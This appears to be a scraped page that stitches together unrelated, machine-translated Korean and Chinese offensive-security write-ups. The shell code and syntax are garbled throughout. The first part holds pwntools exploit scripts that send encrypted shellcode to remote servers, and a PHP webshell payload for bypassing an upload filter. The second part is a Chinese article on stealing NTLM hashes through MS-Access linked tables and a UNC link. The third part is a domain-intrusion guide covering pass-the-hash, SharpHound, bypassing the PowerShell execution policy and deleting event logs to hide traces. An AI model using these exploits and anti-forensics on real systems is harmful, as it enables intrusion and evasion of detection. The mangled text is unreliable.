cf=conayd_fraction (sqrt (n)) i=0 WHILETRUE: I +=1 Denom=cf.denominator (i) 숫자=cf.numerator (i) if (((숫자 -1) //2)=check) 또는 (Denom=Check) : 계속 계속하십시오 숫자^2 -n * delom^2==1: 인 경우 x, y=int ((숫자 -1) //2), int (denom) RES=상호 작용 (io, x, y) ifb'sorry'in res: 계속 계속하십시오 반환 해상도 IO=원격 ('47 .117.41.252 ','33410 ') context.log_level='디버그' RES=SOLVE_PELL (D) 인쇄 (RES) io.interactive () #b'verify success! 사용자 이름 [admin-jm], 당신의 비밀번호 [jm001x!] ~ 'Final Flag: B7133D84297C307A92E70D7727F55CBC 2.SCSC 제목 설명 : 프로그램 취약점을 사용하여 info_sec 파일에서 데이터 정보를 얻고 11 행, 열에서 데이터를 제출하십시오. 질문의 프로세스 : SCSC Binary 파일을 얻었을 때 정적으로 컴파일되었고 라이브러리 기능이없고 기호 테이블이 없어서 이름이없는 라이브러리 기능이 없음을 발견했습니다. 여기서 우리는 역 기술을 사용합니다. 일부 기호 테이블을 복원하는 세 가지 방법이 있습니다. 다른 버전의 SIG 파일을 사용하고, Bindiff 사용을 복원하고, 다른 LIBC 파일을 사용하고, 라이브러리 기능의 기계 코드를 비교하고 지문 플러그인을 사용하여 기능 이름을 복원하십시오 (인터넷에 연결해야 함). 개인적으로 가장 이상적인 효과는 지문 플러그인이라고 생각합니다. 이 게임은 끊임없이 온라인 상태이므로 사용합니다. 그것은 LIBC를 인식 할뿐만 아니라 그것 없이는 C ++ 라이브러리를 사용했다는 것을 모르겠습니다. 여기서 우리는 회복 후 효과를 보여줍니다 이 프로그램은 AES 암호 해독 함수 세트 Shellcode Executor이며 일부 가시 문자를 비활성화합니다. 문자를 필터링하지 않고 Shellcode를 암호화하고 전송해야합니다. 다음은 ShellCode를 사용하여 읽기를 작성하고 점프 한 다음 일반 쉘 코드를 입력하는 가장 쉬운 방법입니다. 여기에서 보이는 문자 필터링은 "SH"및 다양한 64 비트 레지스터 작업을 제한합니다. 그래서 32 비트 레지스터를 사용하여 쉽게 우회하고 SYS_READ를 켜고 ShellCode를 주입, GetShell을 사용했습니다. PWN 가져 오기 * std_pwn 가져 오기 * Crypto에서 Cipher Import AES에서 crypto.util.padding 가져 오기 패드 DefgetProcess (IP, 포트, 이름) : 글로벌 p iflen (sys.argv) 1 및 sys.argv [1]=='r': P=원격 (IP, 포트) 반환 p else: p=프로세스 (이름) 반환 p SL=LAMBDA X: P.SENDLINE (X) SD=Lambda x: P.Send (X) SA=Lambda X, Y: P.SendAfter (X, Y) SLA=LAMBDA X, Y: P.Sendlinter (x, y) RC=Lambda X: P.RECV (X) rl=lambda: p.recvline () ru=lambda x: p.recvuntil (x) ita=lambda: p.interactive () SLC=LAMBDA: ASM (Shellcraft.sh ()) uu64=lambda x: u64 (x.ljust (8, b '\ 0')) UU32=Lambda x: U32 (x.ljust (4, b '\ 0')) # Return SL, SD, SA, SLA, RC, RL, RU, ITA, SLC, UU64, UU32 defaes_ecb_encrypt (PlainText) : 인쇄 (일반 텍스트) C inb'0Moyhjlcit1zkbnrnchag':의 경우 일반 텍스트 3: 인 경우 print (f '{chr (c)} in in it!') # 육각형 문자열 키를 바이트로 변환합니다 키=B'862410C4F93B77B4 ' # AES 암호화를 만듭니다 cipher=aes.new (key, aes.mode_ecb) # 일반 텍스트를 채우고 암호화하십시오 padded_plaintext=pad (PlainText, aes.block_size) ciphertext=cipher.encrypt (padded_plaintext) # ciphertext를 16 진수 문자열로 변환하고 반환합니다 Ciphertext를 반환하십시오 shellcode='' ' RSP를 푸시하십시오 팝 RSI Mov Edi, 0 Mov EDX,0xff RDI를 푸시하십시오 팝 락스 SYSCALL JMP RSP '' '' # 01ayhcjitkbn molznrchg p=getProcess ('47 .117.42.74 ', 32846,'./scsc ') Context (os='linux', arch='amd64', log_level='debug', terminal=[ 'tmux', 'splitw', '-h']))). ELF=ELF ( './SCSC') GDBA () 페이로드=ASM (ShellCode) SA ( 'Magic Data:', AES_ECB_ENCRYPT (ASM (ShellCode)))) SL (ASM (Shellcraft.sh ())) ita () 또는 #!/usr/bin/env python3 PWN 가져 오기 * context.log_level='디버그' context.arch='amd64' # io=프로세스 ( './SCSC') IO=원격 ('47 .117.41.252 ', 33414) shellcode='' ' XCHG R8, RAX XCHG R8, RSI 서브 edi, edi Mov EDX,0x99 서브 eax, eax SYSCALL '' '' payload1=asm (shellcode) print ( 'shellcode=', payload1.hex ()) Payload1=bytes.fromHex ( 'e29ACA48E52D1D59C539C172262E56C7AEAE3B0EBB4E872FA01F84506AD7C26') payload2=b '\ x90'*len (payload1) + asm (shellcraft.sh ()) # gdb.attach (io) io.sendlinter (b'magic data: ', payload1) 정지시키다() io.send (payload2) io.interactive () 3. ez_upload 제목 설명 : 이 질문에는 테스트 질문에 대한 첨부 파일이 없습니다. 첨부 파일 다운로드 버튼을 무시하십시오! 서버는 암호화 된 데이터에 대해 RSA 키 파일을 저장합니다. 관리자는 서버 사이트를 유지 관리 할 때 취약한 테스트 사이트를 제 시간에 수리하지 않았습니다. RSA 키가있는 경로를 제출하십시오 (제출 스타일 : 파일이있는 경로가 /var /www 인 경우 제출 답변은 /var /www). 문제 절차 : 예비 아이디어, 말을 전달하고, getshell을 통과 한 다음 RSA와 관련된 파일을 찾으십시오. HTML과 PHP는 모두 WAF에 의해 떨어집니다. 접미사는 파일 내용을 감지하는 데 사용될 수 있습니다. Content-Type: Text/Html waf this 접미사는 wafed, html, php,htaccess, '. php', '. php5', '. php4', '. php3', '. php2', '. html', '. htm', '. pht', '. p ht ','. php ','. php5 ','. php4 ','. php3 ','. php2 ','. html ','. htm ','. phtml,user.ini 이렇게하지 않습니다. 그러나 phtml 접미사의 에코는이 맥락이 아닙니다. PHP7.2 이상, HTACCESS 파일을 구성해야합니다 PNG 2 렌더링이 아닙니다 미들웨어는 아파치이며 취약성을 해결합니까? 파일 내용이 확인되고 PHP를 포함하는 컨텐츠는 WAF에 의해 삭제됩니다. 성공적으로 말을 통과했습니다 ?=@eval ($ _ post [ 'cmd']); RSA 키를 찾는 경로는/var/www/rssss4a입니다 4. 데이터 공개 및 개인 정보 보호 제목 설명 : 홍보 부서의 기술 지원 직원으로서, 과도한 데이터 탈감작으로 인해 뛰어난 자원 봉사자를 공개적으로 칭찬하는 활동을 수행 할 때 개인 정보를 정확하게 식별 할 수 없어 여러 자원 봉사자들이 정보에 대해 혼란스러워합니다. 첨부 파일에서 《题目说明文档》의 작업 요구 사항에 따라 문제를 해결하십시오. 문제 절차 : 항목 :open 파일 - 테이블 Base64 암호화 - 시간 ()을 사용하여 의사 랜덤 배열 생성 - exoor 암호화 - 새 파일에 쓰기

10 月12 日，微軟宣布新一輪過渡計劃，棄用NTLM 身份認證方式，讓更多企業和用戶過渡到Kerberos。 Microsoft Access (Office套件的一部分)有一個“鏈接到遠程SQL Server表”的功能。攻擊者可能會濫用此功能，通過任意TCP端口(如端口80)自動將Windows用戶的NTLM令牌洩露給攻擊者控制的任何服務器。只要受害者打開.accdb或.mdb文件，就可以發起攻擊。事實上，更常見的Office文件類型(如.rtf)都可以以類似方式運行。這種技術允許攻擊者繞過現有的防火牆規則，這些規則旨在阻止由外部攻擊發起的NTLM信息竊取。 什麼是NTLM？針對它的常見攻擊有哪些？ NTLM是NT LANManager的縮寫，這也說明了協議的來源。 NTLM是指telnet的一種驗證身份方式，即問詢/應答身份驗證協議，是Windows NT 早期版本的標準安全協議，是Microsoft在1993年引入的一種目前已被棄用的身份驗證協議。微軟在今年10月宣布，棄用NTLM 身份認證方式，讓更多企業和用戶過渡使用Kerberos，Kerberos 提供了更好的安全保證，並且比NTLM 更具可擴展性，現在成為Windows 中首選默認協議。 企業雖然可以關閉NTLM 身份認證，但那些硬連線（hardwired）的應用程序和服務可能會遇到問題，為此微軟引入了兩個身份驗證功能。 其一是Initial and Pass Through Authentication Using Kerberos（IAKerb），允許“沒有域控制器視線的客戶端通過有視線的服務器進行身份驗證”。 另一個是Kerberos 的本地密鑰分發中心(KDC)，它增加了對本地賬戶的身份驗證支持。通過上述兩項功能的推進，Kerberos 將成為唯一的Windows 身份驗證協議。 以下是針對NTLM的三種最著名的攻擊。 1.暴力攻擊利用NTLM哈希函數規範中的固有漏洞，從存儲在服務器上的NTLM哈希中恢復原始密碼。 2.傳遞哈希攻擊濫用了NTLM哈希來挑戰/響應模型來證實客戶端的身份，使得使用哈希而不是普通密碼這一事實在本質上毫無意義。 3.中繼攻擊通常被稱為“中間人”攻擊，攻擊者攔截握手交易，在與服務器交談時假扮成客戶端，反之亦然，這樣就可以將他們的消息互相傳遞，直到會話被驗證的關鍵時刻，此時攻擊者切斷合法客戶端並代替他們進行對話。 上述攻擊的緩解措施出現在Kerberos中，Kerberos是麻省理工學院開發的一種身份驗證協議，比NTLM早了整整五年。 不過，對於任何想要保留NTLM服務器的用戶來說，微軟設計了一個過渡機制，簡單地阻止通過NTLM協議使用的端口(139和445)的所有組織出站流量，使上述攻擊更加難以執行，這樣攻擊者就不可能獲得對網絡的初始Access的口令。這種由外部攻擊發起的攻擊技術被稱為“強制身份驗證”。 不過這種權宜之計總是漏洞百出。在這篇文章中，我們提出了一種新的方法，可以繞過這些端口使緩解措施失效，即可以直接針對內部用戶進行NTLM攻擊。這種方法通過濫用MS-Access應用程序中稱為“Access鍊錶”的功能來實現。 MS-Access中的鍊錶在討論攻擊者如何濫用此功能之前，我們將首先解釋該功能在用於合法目的時是如何正常工作的。使用鍊錶，用戶可以連接到外部數據庫，例如遠程Microsoft SQL服務器，這種功能的優勢應該是不言而喻的，不過讓每個用戶在他們的本地設備上保留一個數據庫副本在很多時候並不是一個很好的解決方案，而且絕對不是長久的解決方案。要激活該功能，用戶可以點擊“外部數據”選項卡的“ODBC Database”按鈕，如下所示。我們以Office 2010為例，但這同樣適用於所有版本的Office。 點擊“ODBC Database”按鈕啟動連接到Microsoft Access 2010上的遠程SQL Server的引導 MS-Access建議使用另一種方法，用一次性下載遠程表，這樣就可以將結果視為本地表。為了實際使用鏈接功能並與遠程數據庫同步，用戶選擇了另一個選項，“通過創建鍊錶鏈接到數據源”。 MS-Access允許用戶在創建遠程數據庫的本地副本和完整的遠程鏈接之間進行選擇 然後，用戶在對話框中選擇“SQL Server”作為ODBC Database。 選擇ODBC Database類型的對話框 ODBC(OpenDatabaseConnectivity，開放數據庫互連)是微軟公司開放服務結構(WOSA，Windows Open Services Architecture)中有關數據庫的一個組成部分，它建立了一組規範，並提供了一組對數據庫訪問的標準API（應用程序編程接口）。 此時，用戶需要選擇使用遠程服務器進行身份驗證的方法，如下圖所示。 選擇SQL Server身份驗證方法的對話框 一般的用戶會根據服務器支持的身份驗證方法、公司安全策略以及他們個人認為方便的方式進行選擇。為了方便講解，我們會假設用戶選擇使用自己的Windows ID憑據進行身份驗證的選項。此外，典型的用戶可能會將遠程服務器的端口保留為默認值(1433)，但是，出於為了方便講解，我們暫時假設用戶選擇不經常使用的端口，例如端口80。 畢竟，沒有什麼可以阻止SQL服務器監聽端口80，一個合法組織的SQL服務器可能不會這樣做，但是如果有人這樣做了，網絡也不會產生什麼異常。 選擇服務器的IP地址、端口和協議的對話框 假設遠程SQL服務器的身份驗證成功並且所選表存在，那麼在客戶機的“tables”列表中就會出現一個表示鍊錶的新條目。當用戶點擊此條目時，將建立到該遠程數據庫的連接，並且MS-Access客戶端嘗試使用用戶的Windows憑據與SQL服務器進行身份驗證。 在MS-Access的“tables”列表中顯示的鍊錶 濫用鍊錶在將該功能武器化並轉化為NTLM中繼攻擊之前，攻擊者可以設置一個他們控制的服務器，監聽端口80，並將其IP地址放在上面的“服務器別名”字段中。然後，他們可以將數據庫文件(包括鍊錶)發送給受害者。如果受害者打開文件並點擊表，受害客戶端CV將聯繫攻擊者控制的服務器SA並嘗試進行身份驗證。然後，SA處於執行攻擊的最佳位置，它可以立即啟動同一組織中目標NTLM服務器ST的身份驗證過程，接收挑戰，並將該挑戰作為攻擊者控制的CV的一部分發送到CV↔SA身份驗證過程，接收有效響應，然後將該響應傳遞給SA來通過ST的成功身份驗證。身份驗證是使用TDS中封裝的NTLMSSP來完成的。讓受害者打開文件並點擊數據庫是一件很危險的事情。關於“點擊數據庫”部分，從技術上講，MS Access支持宏，因此攻擊者理論上可以創建一個自動打開鏈接表的宏，並將其設置為在打開文件時自動執行，這是通過將宏命名為AutoExec來實現的。當然，這是一條死胡同，因為隨後會提示用戶啟用宏，就在去年，微軟計劃推出了一項針對這種情況的新安全功能。這個功能不適用於簡單的MS Access宏。這些與成熟的VBA不同，它們的功能較弱，處理起來也不那麼謹慎。即使是2010年推出的可證明有效的“受保護視圖（protected view）”功能，該功能會提示用戶文檔“可能不安全”並提示用戶“啟用宏”。 添加一個打開鏈接表的MicrosoftAccess宏，並將其保存為“AutoExec”以在打開文件時執行 OLÉ, OLÉ, OLÉMicrosoft Access在Windows上註冊為“OLE鏈接”服務器。例如，可以在Word文檔中嵌入圖像，當文檔被打開時，MS-Paint將處理圖像並發回信息，從而使MS-Word可以內聯顯示圖像。 同樣，也可以將MS word文檔中的.accdb文件鏈接為OLE對象，該對象將自動下載（也可以通過端口80/tcp），然後由MS Access處理。像下面這樣簡單的字符串就會觸發這個行為: \\\\111.111.111.111@80\\test.accdb 總的來說，整個攻擊鍊是這樣的: 濫用鍊錶 概念驗證為了方便研究，研究人員建立一個展示這種攻擊的概念驗證環境，禁用服務器的第一個響應數據包（PRE-LOGIN消息響應）中的加密，可以使研究的工作變得更容易，因為不需要處理TDS TLS加密。 以下是模擬受害者和虛假SQL服務器活動的過程，受害者位於典型的端口阻塞環境中（阻塞傳出的139/tcp和445/tcp流量，但允許80/tcp），而攻擊者控制的服務器位於公共雲中。受害者在試圖通過端口80上的服務器進行身份驗證時洩露了本地net-NTLMv2哈希值。 流量捕獲(PCAP)顯示了一次成功的攻擊，它使受害者通過端口80洩露了本地NTLM哈希 防禦和緩解措施研究人員已經成功地在所有可用的默認Windows + Office環境中復制了攻擊，包括最新的Windows 10/11 和Office 2021環境。 建議你可以考慮禁用MS-Access中的宏，或者如果MS-Access對你的Office套件安裝不是必需的，則將其從系統中完全刪除。 另外，請不要打開未經請求的附件。

도메인의 로그는 일반적으로 .evtx로 끝나므로 DIR 명령을 사용하려면 도메인의 로그를 검색해야합니다. dir/s/b *.evtx /s : 하위 디렉터를 포함한 재귀 검색을 의미합니다. /b : 결과가 간결한 모드로 표시되며 다른 정보없이 파일 경로 만 표시됩니다. 여기서 우리는 로그 패러 도구를 직접 사용하여 도메인의 로그 정보를 내보낼 수 있습니다. (도메인 제어 호스트에서) LogparSer 도구는 필터링을 위해 SQL 쿼리 메소드를 사용합니다. 다음 지침을 사용하여 문자열 열 및 EventId 열을 통해 도메인에서 사용자의 로그인 동작을 필터링하십시오. logparser.exe -i:evt -o:csv 'select recordnumber, timewritten, eventid, strings, c: \ log5.csv incertid='4624 '및 문자열'%| kerberos |%|%.%.%'및 strings'%|%|%|%|%'' '' -i: 입력 파일 유형 -O: 출력 파일 유형 정상 도메인 침투 중에 도메인 제어를 직접 가져 와서 도메인 제어 호스트에서 작동하여 로그를 내보내십시오. 일반적으로 분석을 위해 도메인 제어 로그 또는 지정된 멤버 호스트의 로그를 내보내는 것은 비현실적입니다. 1. VPN 방법; 2. 양말 터널을 건설하십시오. 3. 원격 트로이 목마 방법을 구축하십시오. query logs vpn 일반적으로 대상 호스트를 VPN을 통해 연결하고 작동을 위해 인트라넷 환경에 들어갑니다. 여기서 도메인 관리 계정이 얻어졌으며 도메인 관리 자격 증명을 통해 내보내기 로그 분석이 수행된다고 가정합니다. 1. 호스트의 로그인 레코드를 쿼리하십시오 먼저 도메인 제어의 로그 저장 위치 획득 dir /s /b \\ 10.10.10.10 \ c $ \ security.evtx 도메인 제어 로그 파일은 사본 명령을 통해 로컬로 복사 할 수 있습니다. 복사 \\ 10.10.10.10 \ c $ \ windows \ system32 \ Winevt \ logs \ C: \ Users \ Admins \ Desktop \ log 로그 파일은 숨겨진 파일이므로 로그 파서를 통해 모든 .evtx 파일을 직접 내보낼 수 없습니다 (검색 할 수 없음) 그러나 로그 파서를 사용하여 부분적인 로그를 원격으로 내보낼 수 있습니다. logparser.exe -i:evt -o:csv 'select * in in c: \ 1.csv \\ remoteserver \ security' logparser.exe -i:evt -o:csv 'select * in in c: \ 1.csv from \\ 10.10.10.10 \ security' 2. 연결 중에 로그의 흔적을 쿼리하십시오 로그 추적을 쿼리 할 때 먼저이 로그인에 사용 된 인증 방법을 이해해야합니다. Windows는 기본적으로 NTML 인증을 사용하고 Kerberos 인증은 도메인 네트워크에서 사용됩니다. 간단히 말해서 NTLM은 호스트와 호스트 간의 직접적인 대화식 인증이며 Kerberos는 제 3 자 (도메인 제어)에 의해 인증됩니다. 도메인 제어는 도메인 내 호스트 및 도메인 계정에만 자격 증명 만 발행합니다. 따라서 원격 호스트 포지셔닝에 IP를 사용하면 NTLM 인증이 사용되며 포지셔닝에 도메인 이름 또는 기계 이름을 사용하면 Kerberos 인증이 사용됩니다. 순 사용을 사용하여 원격 공유에 연결하는 프로세스도 로그인 프로세스입니다. 따라서 로그인이있는 한 로그에 반영됩니다. Dir 및 Host를 사용하여 직접 로그인하는 것도 마찬가지입니다. 로그 쿼리 분석에 따르면 호스트는 Kerberos 인증을 사용하여 직접 로그를 발견했습니다. DIR 및 NET 사용을 사용하는 경우 원격 호스트가 IP 인 경우 NTLM 인증입니다. 반대로, 도메인 이름 또는 기계 이름이 포지셔닝에 사용되면 포지셔닝을위한 Kerberos입니다. 멤버 호스트 네트워크 연결 연결 도메인 제어 호스트 NTLM 인증 패킷 순 사용 \\ 10.10.10.10 \ IPC $ 지침을 통해이 명령어의 로그인이 NTLM 인증이어야한다는 것을 알 수 있습니다. 여러 테스트 후, 멤버 호스트가 위의 명령문을 사용하여 도메인 제어 호스트에 연결하는 경우 다음 레코드가 도메인 제어 호스트에 남아 있습니다. 첫 번째 패키지는 도메인 컨트롤 호스트에 연결하는 계정을 확인하기위한 자격 증명입니다. 두 번째 패키지는 연결에 권한을 할당하는 것입니다. 세 번째 패키지는 성공적인 로그인이있는 데이터 패키지입니다. 세 번째 패키지에서는 IP 주소, 기계 이름 및 멤버 호스트의 기타 정보를 볼 수 있습니다. S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 | Admins | vvvv1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {{0000000-0000-0000-00000-0000000000} |-| ntlm V1 | 128 |0x0 |-| 10.10.10.3 | 1280 | %% 1833 |-|-| %% 1843 |0x0 | %% 1842 따라서 세 번째 성공적인 로그인 데이터 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순 사용을 통해 로그에서 도메인 제어의 호스트 정보를 얻을 수 있습니다. 로그 파서 도구를 사용하여 로그 파일을 내보내십시오. C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%. 문자열 필드를 통해 도메인 컨트롤에 연결된 호스트의 IP 및 호스트 이름을 볼 수 있습니다. Kerberos 인증 패킷 순 사용 \\ ad-2016 \ IPC $ 여러 테스트 후, 위의 명령문을 사용하여 멤버 호스트가 도메인 제어 호스트에 연결되고 Kerberos 인증을 사용하면 도메인 제어 호스트에 다음 레코드가 남게됩니다. 따라서 5 번째 성공적인 로그인 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순이 사용을 통해 로그에서 도메인 컨트롤의 호스트 정보를 얻기 위해 필터링 규칙을 수정하면됩니다. S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-500 | 관리자 | vvvv1.com |0x7c3dbeb9 | 3 | Kerberos | k Erberos || {CE15C23A-E7E3-3FC1-4A75-FDF339BEC822} |-|-|-|0x0 |-| 10.10.10.12 | 50364 | %% 1840 |-|-|-|-| %% 1843 |0x0 | %% 1842 로그 파서 도구를 사용하여 로그 파일을 내보내십시오. C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' '' 문자열 필드를 통해 도메인 제어에 연결된 호스트의 IP와 계정을 볼 수 있습니다. 멤버 호스트 DIR는 도메인 제어 호스트에 연결합니다 NTLM 인증 패킷 dir \\ 10.10.10.10 \ c $ 원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오. C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%. Kerberos 인증 패킷 dir \\ ad-2016 \ c $ 원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오. C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' '' 멤버 호스트 연결 멤버 호스트 dir \\ 10.10.10.10 \ c $ dir \\ web-2003 \ c $ 첫 번째 방법, 즉 NTLM 인증 방법은이 로그 추적을 도메인 제어 호스트의 로그에만 두는 것입니다.이 로그는 거의 쓸모가 없으며 주요 추적은 연결된 호스트의 로그에 반영됩니다. Kerberos 인증 방법 인 두 번째 방법은 도메인 제어 호스트에 두 개의 로그를 남깁니다 : 요청 tgt 및 요청 st log. 로그 검색 프로세스도 위와 유사하므로 여기서는 설명하지 않습니다. 멤버 호스트 자체로 로그인 도메인의 사용자 계정으로 로그인하는 사용자 만 도메인 제어 호스트에 흔적이 남습니다. 로컬 계정으로 로그인하면 컴퓨터 로그에만 반영됩니다. 도메인 내의 사용자를 사용하여 로그인하는 경우 도메인 컨트롤은 위의 Kerberos 인증 패킷과 동일한 인증을 위해 Kerberos를 사용하는 것입니다. 로그 파서 도구를 사용하여 로그 파일을 내보내십시오. C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' '' 양말 프록시를 통한 쿼리 로그 일반적으로 경계 호스트를 중단 할 때 양말 터널을 만들고 지역 호스트 에이전트를 인트라넷으로 가져 오기 위해 작동합니다. 먼저 해시 전달을 사용하여 외부 도메인 호스트에 충분한 권한이 있는지 확인하십시오. 테스트 후 해시 통과 작업은 도메인 제어 및 양말 터널 클라이언트 호스트에서 로그 트레이스를 생성하지 않습니다. 1. 호스트의 로그인 레코드를 쿼리하십시오 지침 및 운영은 VPN과 동일합니다. 2. 연결 중에 로그의 흔적을 쿼리하십시오 원격 호스트 네트워크 연결 연결 도메인 제어 호스트 Proxifier 프록시 도구는 양말 환경에서 DNS 프록시를 수정할 수 없으므로 도메인 이름과 기계 이름을 올바르게 해결할 수 없기 때문입니다. 따라서 IP 작업 만 사용하고 NTLM 인증을 사용할 수 있습니다. NTLM 인증 패킷 순 사용 \\ 10.10.10.10 \ IPC $ 지침을 통해이 명령어의 로그인이 NTLM 인증이어야한다는 것을 알 수 있습니다. 여러 테스트 후, 멤버 호스트가 위의 명령문을 사용하여 도메인 제어 호스트에 연결하는 경우 다음 레코드가 도메인 제어 호스트에 남아 있습니다. 첫 번째 패키지는 도메인 컨트롤 호스트에 연결하는 계정을 확인하기위한 자격 증명입니다. 두 번째 패키지는 연결에 권한을 할당하는 것입니다. 세 번째 패키지는 성공적인 로그인이있는 데이터 패키지입니다. 세 번째 패키지에서는 IP 주소, 기계 이름 및 멤버 호스트의 기타 정보를 볼 수 있습니다. S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 | Admins | vvvv1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {{0000000-0000-0000-00000-0000000000} |-| ntlm V1 | 128 |0x0 |-| 10.10.10.3 | 1280 | %% 1833 |-|-| %% 1843 |0x0 | %% 1842 따라서 세 번째 성공적인 로그인 데이터 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순 사용을 통해 로그에서 도메인 제어의 호스트 정보를 얻을 수 있습니다. 로그 파서 도구를 사용하여 로그 파일을 내보내십시오. C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%. 문자열 필드를 통해 도메인 컨트롤에 연결된 호스트의 IP 및 호스트 이름을 볼 수 있습니다. 도메인 제어 호스트에 대한 원격 DIR 연결 NTLM 인증 패킷 Proxifier 프록시 도구는 양말 환경에서 DNS 프록시를 수정할 수 없으므로 도메인 이름과 기계 이름을 올바르게 해결할 수 없기 때문입니다. 따라서 IP 작업 만 사용하고 NTLM 인증을 사용할 수 있습니다. dir \\ 10.10.10.10 \ c $ 원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오. C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%. 원격 호스트는 멤버 호스트에 연결합니다 dir \\ 10.10.10.10 \ c $ 두 방법 모두이 로그 추적을 도메인 제어 호스트의 로그에 남겨 두는 것을 의미하며, 이는 거의 쓸모가 없으며 주요 추적은 연결된 호스트의 로그에 반영됩니다. 로그 검색 프로세스도 위와 유사하므로 여기서는 설명하지 않습니다. PowerShell log PowerShell 로그는 일반적으로 시스템 로그에 직접 작성됩니다. 그러나 정상 구성에서 PowerShell은 실행의 명령 로그를 저장하지 않지만 PowerShell Open Command (ID:600) 및 PowerShell Close 명령 (ID:403) 만 저장합니다. 따라서 침투 과정에서 대화식 쉘을 얻으면 먼저 PowerShell을 열고 명령을 실행할 수 있습니다. 그러면 로그는 PowerShell을 열도록 명령 만 기록하며 PowerShell 터미널에서 실행 된 명령의 기록을 저장하지 않습니다. 그러나 침투 과정에서 웹 쉘, 즉 반 인터랙티브 명령 창이 발생하면 명령을 하나의 문으로 만 요약 할 수 있으며 명령은 로그에 기록됩니다. PowerShell 스크립트 사용 PowerShell 스크립트를 사용하여 명령을 실행하면 먼저 명령을 실행해야합니다. PowerShell -ExecutionPolicy 바이 패스 PowerShell 실행 정책을 우회하는 데 사용됩니다. PowerShell은 기본적으로 실행 정책을 활성화하여 스크립트 실행 권한을 제한합니다. 실행 정책은 스크립트 파일을 실행할 수 있는지 여부를 제어하고 신뢰할 수없는 소스에서 스크립트를 제어하는 보안 메커니즘입니다. 기본적으로 PowerShell의 실행 정책은 '제한적'으로 설정되어 있으므로 스크립트 파일을 실행할 수 없습니다. PowerShell 명령 줄에 'PowerShell -ExecutionPolicy Bypass'를 사용하면 실행 정책 제한을 우회하고 스크립트 파일이 허용됩니다. 이렇게하면 실행 정책을 일시적으로 변경하여 모든 스크립트를 실행할 수 있습니다. PS1 스크립트가 가져 오려고하는 경우 Sharphound.ps1 import-module ./sharphound.ps1 현재 Sharphound 모듈이 현재 세션에로드되었습니다. 현재 세션에서로드 된 모든 모듈을보십시오 모듈을 얻으십시오 Sharphound 모듈에서 모든 명령 목록 얻기 get -command -module sharphound Sharphound 사용 도움말을 확인하십시오 get-help sharphound Get-Help invoke-bloodhound- 로그 삭제 당신이 관통하는 환경에 있으면 모든 로그를 삭제하면 우리의 흔적을 덮을뿐만 아니라 대신 흔적을 더 명확하게 만들 것입니다. 따라서 단일 로그를 삭제하는 방법 만 사용할 수 있지만 Windows는이를 제공하지 않거나 단일 로그를 삭제하는 것이 허용되지 않으므로 다른 방법 만 사용할 수 있습니다. 도구 사용 : https://github.com/3gstudent/eventlogedit-evtx- evolution 단일 로그 삭제 원칙 : https://3gstudent.github.io/windows-xml-event-log-(evtx)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97% E6%B8%85%E9%99%A4-%E4%B8%80-%E5%88%A0%E9%99%A4%E6%80%9D%E8%B7%AF%E4%B8%8E%AE%9E%E4%BE%8B https://github.com/qax-a-team/eventcleaner RDP 로그인 추적 지우기 https://blog.csdn.net/m0_37552052/article/details/82894963 https://blog.csdn.net/coco56/article/details/102671007#:~333333333333333333333333333333333333333333333333333333333333333333:Text=Win10%E7%B3%BB%E7%BB%9f%E6%8E4%E4%B9%B9%8899a0%9999%. 99%A4%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%a5%AE%B0%E5%BD%95%20%20%20%8C%89WIN%2BR E9%Ae%ae%ae%ae%e6%89 BC%80%E8%BF%90%E8%A1%8C%EF%BC%8C%E8%BE%93%e5%85%A5%20 리게디%20%20%E5%B9%B6%E7%A1%AE%E5%AE%9A%e3%80%202,%E5%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9. C%B0%E5%9d%80%e6%A0%8f%E4%B8%AD%E8%BE%93%E5%85%A5%E4%BB%A5%E4 비 5%8d%B3%e5%8f%AF%a8%bf%9b%e8%a1%8c%e7%9c%8b%e5%88%b0%e6%89%80 %e6%9c%89%e7%9a%84%e5%b7%b2%e8%bf%9e%e6%8e%a5%e8%bf%87%e7%9a% 